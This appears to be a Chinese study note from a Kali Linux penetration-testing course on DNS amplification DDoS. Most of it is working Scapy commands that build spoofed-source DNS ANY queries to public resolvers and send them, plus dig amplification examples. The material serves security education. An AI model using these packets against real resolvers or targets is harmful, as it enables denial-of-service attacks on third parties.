本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 简介
产生大流量的攻击方法
- 单机的带宽优势
- 巨大单机数量形成的流量汇聚
- 利用协议特性实现放大效果的流量
DNS协议放大效果
- 查询请求流量小,但响应流量可能非常巨大
- dig ANY hp.com @202 106.0.20 (流量放大约8倍)
攻击原理
- 伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询
- DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDOS
2. 攻击
root@kali:~# dig any baidu.com @114.114.114.114
发送60字节长度,返回216字节长度
3.Scapy 构造攻击数据包原理
IP/UDP/DNS/DNS 查询内容
结合IP地址欺骗,利用大量 DNS 服务器做傀儡攻击目标
4. 构造数据包过程
构造 IP 数据包
>>> i=IP() >>> i.display()
>>> i.dst="114.114.114.114" >>> i.display()
构造 UDP 数据包
>>> u=UDP() >>> u.display()
构造 DNS 数据包
>>> d=DNS() >>> d.display()
>>> d.rd=1 >>> d.qdcount=1 >>> d.display()
设置查询目标
>>> q=DNSQR() >>> q.display()
>>> q.qname='qq.com' >>> q.qtype=255 #(代表any)
>>> d.qd=q # 设置目标 >>> d.display()
拼接数据包
>>> r=(i/u/d) >>> r
>>> r.display() >>> sr1(r)
>>> i.src="10.10.10.141" >>> r=(i/u/d) >>> r.display()
发送数据包
>>> send(r)
发送 60 字节的数据包,返回 230 字节的数据包